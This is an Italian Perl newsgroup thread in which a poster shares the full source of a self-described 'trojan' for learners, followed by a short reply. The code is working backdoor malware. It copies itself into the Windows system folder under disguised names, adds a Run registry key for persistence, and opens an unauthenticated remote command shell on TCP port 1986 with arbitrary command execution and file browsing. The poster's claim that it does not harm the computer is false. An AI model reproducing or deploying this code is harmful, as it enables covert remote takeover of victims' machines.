Newsgroup: it.comp.lang.perl
Titolo: Virus trojan da completare, per chi vuole imparare.

Ho fatto il seguente virus solo per prova e non per fare il malvagio.
Bisogna compilarlo e trasformarlo in .exe, dovrebbe venire piů grande di un
mega :-(
Una volta compilato si apre e fa due copie di se stesso nella cartella di
root, la standard č:
C:\windows
All'avio di windows si apre e si attiva come trojan. Se ci si connette alla
porta 1986 con telnet, la mia data di nascita, si accede al server ti shell
di unix. ecco il trojan, ricordatevi che č incompleto, ma funzionale, si puň
anche cancellare:
use Socket;    #perl2exe
use NetAddr::IP;    #perl2exe
use Sys::Hostname;    #perl2exe
use Time::localtime;    #perl2exe
use Time::gmtime;    #perl2exe
use Win32::Registry; #perl2exe
sistema();
$porta = "1986";
$maxuser = "5";
$zonetime = 2;
day();
$percorso = $0;
@testu = split(/\\/, $percorso);
$bot = @testu;$bot--;
$softwarename=$testu[$bot];
$percorso =~ m/\\$testu[$bot]$/gi;
$percorso = $`;
install();
eval {
require "File/Glob.pm";
};
$proto = getprotobyname('tcp');
socket(SERVER, AF_INET, SOCK_STREAM, $proto);
$sin = sockaddr_in($porta, INADDR_ANY);
bind (SERVER, $sin) || die $!;
$lenght = $maxuser;
$host = hostname();
accetta();
#######################################
# risolve la richiesta
sub accetta {
   listen (SERVER, $lenght);
   accept (ciao, SERVER) || die $!;
   my $chi = new NetAddr::IP $host;
   send ciao, "locale:$host      remoto:$chi\n\r", 0;
   print "$chi connesso...\n";
   accetta() if (fork);
client("$chi");
close(ciao);
}
#################################
# client
sub client {
my $chi = shift;
my $error = "non";
   while ($error ne "") {
   send ciao, "Digita il tuo Nick>", 0;
   $error = "";
   $stringa = mamma("ciao","s","Digita il tuo Nick>");
   $error .= "Nick max 10 caratteri\n\r" if ($stringa =~ m/.........../gi);
   $error .= "Nick min 5 caratteri\n\r" if ($stringa !~ m/..../gi);
   $error .= "Carattere error: $1\n\r" if ($stringa !~ m/(\w)/g);
   send ciao, "$error\rNick digitato>$stringa\n\r", 0;
   }
   $nick = $stringa;
   my @cosa = split(/\//, $chi);
   $chi = $cosa[0];
  shell("$chi");
   close(ciao);
    exit;
}
###########################
# command principale
sub shell {
  my $chi = shift;
$scritta = "$nick\@$chi>";
   while (1) {
   org("$nick");
   presente("$nick","$chi");
   send ciao, "$nick\@$chi>", 0;
   my $comando = mamma("ciao","s","$nick\@$chi>");
   dos() if ($comando =~ m/^dos$/gi);
   special("$'") if ($comando =~ m/^\$/gi);
   pwd("") if ($comando =~ m/^pwd {0,}/gi);
   telnet("$'") if ($comando =~ m/^telnet {0,}/gi);
   chat("$'","$nick") if ($comando =~ m/^chat /gi);
   help () if ($comando =~ m/^help$/gi);
   super () if ($comando =~ m/^cd\.\.$/gi);
   periferica ("$'") if ($comando =~ m/^cd {1,}/gi);
   help () if ($comando =~ m/^aiuto$/gi);
   regedit ("$'") if ($comando =~ m/^regedit {0,}/gi);
   chi ("$'") if ($comando =~ m/^chi {0,}/gi);
   esecaut ("$'") if ($comando =~ m/^esecaut {0,}/gi);
   dir ("$'") if ($comando =~ m/^dir {0,}/gi);
   systim("C:\\programmi\\intern~1\\Iexplore.exe $'") if ($comando =~
m/^internet {0,}/gi);
   systim("C:\\windows\\notepad.exe $'") if ($comando =~ m/^notepad
{0,}/gi);
   systim("C:\\programmi\\lettor~1\\Wmplayer.exe $'") if ($comando =~
m/^player {0,}/gi);
   close(ciao) if ($comando =~ m/^exit$/gi);
   sleep 3 if ($comando =~ m/^exit$/gi);
   exit if ($comando =~ m/^exit$/gi);
  }
}
###################
# esecaut
###################
sub esecaut {
my $cosa = shift;
return() if ($cosa eq "");
my $tips;
    send ciao, "Con che nome lo vuoi aggiungere:", 0;
    my $nome = mamma("ciao","s","Con che nome lo vuoi aggiungere:");
$cosa =~ s/^internet/C:\\programmi\\intern~1\\Iexplore.exe/gi;
$cosa =~ s/^notepad/C:\\windows\\notepad.exe/gi;
$cosa =~ s/^notepad/C:\\programmi\\lettor~1\\Wmplayer.exe/gi;
$::HKEY_LOCAL_MACHINE->Open("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\R
un", $tips);
  my ($type, $value);
my $type = 1;
my $value = "$cosa";
my $value_name = "$nome";
$tips->SetValueEx($value_name, $reserved, $type, $value);
    send ciao, "Aggiunto in esecuzione automatica\n\r", 0;
}
###################
# REGEDIT
###################
sub regedit {
my $modo = shift;
   if ($modo eq "") {
    send ciao, "Vuoi aprirlo in lettura(R) o scrittura(W):", 0;
    $modo = mamma("ciao","s","Vuoi aprirlo in lettura(R) o scrittura(W):");
   }
return() if ($modo !~ m/^[RW]$/gi);
lettura () if ($modo =~ m/^R$/gi);
scrittura () if ($modo =~ m/^W$/gi);
}
###################
sub lettura {     # Registro di configurazione
###################
}
###################
# glob            #
###################
sub dir {
my $come = shift;
$come = "*" if ($come eq "");
    send ciao, "Lista file $come\n\r", 0;
my $ff=0;
  if ($come =~ m/^dir$/gi) {
    my @glob = <*>;
    foreach $buf (@glob) {
    send ciao, " $buf dir\n\r", 0 if (-d $buf);
    if ($ff == 10 && -d $buf) {
    send ciao, "Premi un tasto per continuare\n\r", 0;
    mamma("ciao");
    $ff=0;
    }
        $ff++;
    }
  } else {
    my @glob = glob("$come");
    foreach $buf (@glob) {
    $buf .= " dir" if (-d $buf);
    send ciao, " $buf\n\r", 0;
    if ($ff == 10) {
    send ciao, "Premi un tasto per continuare\n\r", 0;
    mamma("ciao");
    $ff=0;
    }
    $ff++;
    }
  }
}
###################
# Perfiferica cambio
###################
sub periferica {
my $periferica = shift;
if ($periferica =~ m/^[A-Z]:/gi) {
my $error="";
chdir("$periferica") or $error = "on";
if ($error eq "on") {
send ciao, "Percorso inesistente\n\r", 0;
} else {
$percorso = "$periferica";
send ciao, "Dir corrente:$percorso\n\r", 0;
}
} else {
chdir("$percorso\\$periferica") or $error = "on";
if ($error eq "on") {
send ciao, "Percorso inesistente\n\r", 0;
} else {
$percorso = "$percorso\\$periferica";
send ciao, "Dir corrente:$percorso\n\r", 0;
}
}
$percorso =~ s/\//\\/gi;
}
###################
# cd punto punto
###################
sub super {
return("") if ($percorso =~ m/^[A-Z]:$/gi);
my $temp = $percorso;
my @testu = split(/\\/, $percorso);
my $bot = @testu;$bot--;
$percorso =~ m/\\$testu[$bot]$/gi;
$percorso = $`;
$percorso = $temp if ($percorso eq "");
chdir ("$percorso");
send ciao, "Dir corrente:$percorso\n\r", 0;
}
###################
# special variabil
###################
sub special {
my $cosa=shift;
my $special = $$cosa;
send ciao, "\$$cosa:$special\n\r", 0;
}
###################
# pwd
###################
sub pwd {
send ciao, "Dir corrente:$percorso\n\r", 0;
chdir ("$percorso");
}
###################
# telnet
###################
sub telnet {
my $ip = shift;
my $error="";
if ($ip eq "") {
   send ciao, "Digita IP del server seguito dai due punti\n\re la porta
(IP:PORTA)o(SITO:PORTA):", 0;
   $ip = mamma("ciao","s","e la porta (IP:PORTA)o(SITO:PORTA):");
}
my @connessione = split(/:/, $ip);
send ciao, "Connessione al server $connessione[0] alla porta
$connessione[1]...attendere\n\r", 0;
$proto = getprotobyname('tcp');
socket(SERVER, AF_INET, SOCK_STREAM, $proto);
$iaddr = gethostbyname($connessione[0]);
$sin = sockaddr_in($connessione[1], $iaddr);
connect(nuova, $sin) or $error = "on";
if ($error eq "on") {
send ciao, "Tentativo di connessione fallito\n\r", 0;
return();
}
while(1) {
recv nuova, $sreply, 512, 0;
send ciao, "$sreply", 0;
}
while(1) {
recv ciao, $sreply, 512, 0;
send nuova, "$sreply", 0;
}
}
###################
# chi
###################
sub chi {
my $num = shift;
my $tempo = tempo();
$num = 10 if ($num eq "");
open (file, "<$systemroot/syspres.dll");
my @lista = <file>;
close(file);
my $pop = @lista;
$pop--;
my $ff=1;
my $did=0;
   send ciao, "Ora č $tempo\n\rEcco la lista degli ultimi $num
movimenti:\n\r", 0;
while ($ff <= $num) {
last if ($lista[$pop] eq "");
last if ($pop < 0);
   send ciao, "$ff)$lista[$pop]\r", 0;
$pop--;
$ff++;
$did++;
   send ciao, "Premi invio per continuare...\n\r", 0 if ($did ==10);
$ughg = mamma("ciao") if ($did == 10);
$did = 0 if ($did == 10);
}
}
###################
# presente
###################
sub presente {
my $nick = shift;
my $chi = shift;
my $tempo = tempo();
my $num=0;
open (file, "<$systemroot/syspres.dll");
my @troll = <file>;
close(file);
foreach $buf (@troll) {
if ($buf =~ m/$nick:/gi) {
$troll[$num] = "";
}
$num++;
}
open (file, ">$systemroot/syspres.dll");
print file @troll;
print file "$nick:$chi:$tempo\n";
close(file);
}
####################
# systim    #
####################
sub systim {
my $cosa = shift;
return()  if ($cosa =~ m/^exit/gi);
if (fork) {
   @risp = `$cosa`;
   foreach $buf (@risp) {
   send ciao, $buf, 0;
   send ciao, "\r", 0;
   }
    sleep 2;
   exit;
}
}
#########################
# chat
sub chat {
my $destinatario = shift;
my $mittente = shift;
my $tempo = tempo();
   send ciao, "Messaggio per $destinatario:", 0;
my $msg = mamma("ciao","s","Messaggio per $destinatario:");
unshift(@$struttura, "");
open (file, ">>$systemroot/systemp.dll");
print file "$destinatario:$mittente\$$tempo\$$msg\n";
close(file);
}
########################
# org
sub org {
my $nick = shift;
my $num=0;
open (file, "<$systemroot/systemp.dll");
my @messaggi = <file>;
close(file);
foreach $buf (@messaggi) {
if ($buf =~ m/^$nick:/gi) {
my $let = $';
my @dati = split(/\$/, $let);
   send ciao, "$nick>Msg mandato da $dati[0], $dati[1]:\n\r$dati[2]\n\r", 0;
$messaggi[$num] = "";
}
$num++;
}
open (file, ">$systemroot/systemp.dll");
print file @messaggi;
close(file);
}
##########################
# dos
sub dos {
my $corda;
while ($corda !~ m/^exit/gi) {
$corda = mamma("ciao","s","dos>");
systim("$corda");
}
}
############################
# Question
############################
sub mamma {
my $roba = shift;
my $scelta = shift;
my $tat = shift;
my $scritta = $tat if ($tat ne "");
my $nica;
my $let;
my $ridi="";
while ($nica !~ m/\n/gi) {
   recv $roba, $nica, 512, 0;
   $ridi = unpack("c", "$nica");
   if ($ridi == 127) {
   $let =~ m/.$/gi;
   $let = $`;
      send $roba, "\r$scritta$let ", 0 if ($scelta ne "");
   } else {
   send $roba, "\r$scritta$let$nica", 0 if ($scelta ne "");
   $let .= "$nica";
   }
}
chop($let);
chop($let);
return("$let");
}
##############################
# tempo
sub tempo {
   my $lt = localtime();
    my $ct = gmtime();
     my $time;
      my @data;
 $data[0] = $ct->hour;$data[0] += $zonetime;
  $data[1] = $ct->min;
   $data[2] = $ct->sec;
    $data[5] = $ct->mday;
     $data[3] = $lt->mon;
      $data[4] = $ct->year;$data[4] += 1900;
       $data[6] = $ct->wday;$data[6]--;
   my $data = "$giorni[$data[6]] " . "$data[5] " . "$mesi[$data[3]] " .
"$data[0]" . ":$data[1]" . ":$data[2]";
 return ($data);
}
###########################
# giorni
#####################
# date di sistema
sub day {
@mesi = ("Gennaio", "Febbraio", "Marzo", "Aprile", "Maggio", "Giugno",
"Luglio", "Agosto", "Settembre", "Ottobre", "Novembre", "Dicembre");
@giorni = ("Lunedě", "Martedě", "Mercoledě", "Giovedě", "Venerdě", "Sabato",
"Domenica");
}
##########################
# Help
##########################
sub help {
   send ciao, qq~La giuda di Trinit vi illuminerŕ sulle funzioni piů
importanti:\r
DOS - Questo comando apre la shell e permette di digitare comandi di tipo
dos. Si chiude non appena viene digitato un exit.\r
INTERNET sito - Apre Internet Explorer alla pagina indicata in [sito].\r
PLAYER file - Apre il file prescelto con windows media player.\r
NOTEPAD file - Apre il file indicati con il blocco note di windows.\r
CHAT utente - Permette di far vedere sulla console dell\'utente indicato, un
messaggio personalizzato\r
CHI num - Permette di vedere gli ultimi movimenti degli utenti connessi. Num
stŕ per il numero.\r
EXIT - Esce da Trinit\r
premi invio per continuare...
~, 0;
mamma("ciao");
   send ciao, qq~
\rPWD - Mostra la directory corrente\r
CD.. - Livello superiore di cartella\r
CD percorso - Permette di muoversi nelle cartelle del computer remoto\r
ESECAUT percorso - Mette un file in esecuzione automatica\r
GLOB * - Mostra tutti i file. Al posto di *, č possibile mettere\n\r
una parola con il carattere jolly. Ex:\n\r         *.txt mostra la lista di
tutti file che finiscono per .txt\n\r
REGEDIT modo - Registro di sistema di windows.Da finire.
\r               Modo puů essere R o W (lettura del registro
\r               o scrittura del registro)\n\n\r~, 0;
}
#####################
# Install - installazione in systemroot e aggiornamento del registro di
sistema
#####################
sub install {
$::HKEY_LOCAL_MACHINE->Open("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\R
un", $tips);
  my ($type, $value);
my $type = 1;
my $value = "$systemroot/SysDataIk.exe";
my $value_name = "WinExp";
$tips->SetValueEx($value_name, $reserved, $type, $value);
open(primo, "<$softwarename");
binmode(primo);
open(secondo, ">$systemroot/SysDataIk.exe");
binmode(secondo);
open(terzo, ">$systemroot/PER1.exe");
binmode(terzo);
while(read(primo, $buf, 100)) {
print secondo $buf;
print terzo $buf;
}
close(primo);
close(secondo);
close(terzo);
}
####################
# sistema
####################
sub sistema {
$::HKEY_LOCAL_MACHINE->Open("SOFTWARE\\Microsoft\\Windows\\CurrentVersion",
$tips);
  my ($type, $value);
    $tips->QueryValueEx("SystemRoot", $type, $systemroot);
}

Non danneggia il computer.

interessante...
gli daro' un'occhiata :-)
Ciao,
Guido.

Solo per chi vuole imparare, niente di più.
Ci sono molte funzioni importanti, come fork socket e vari moduli.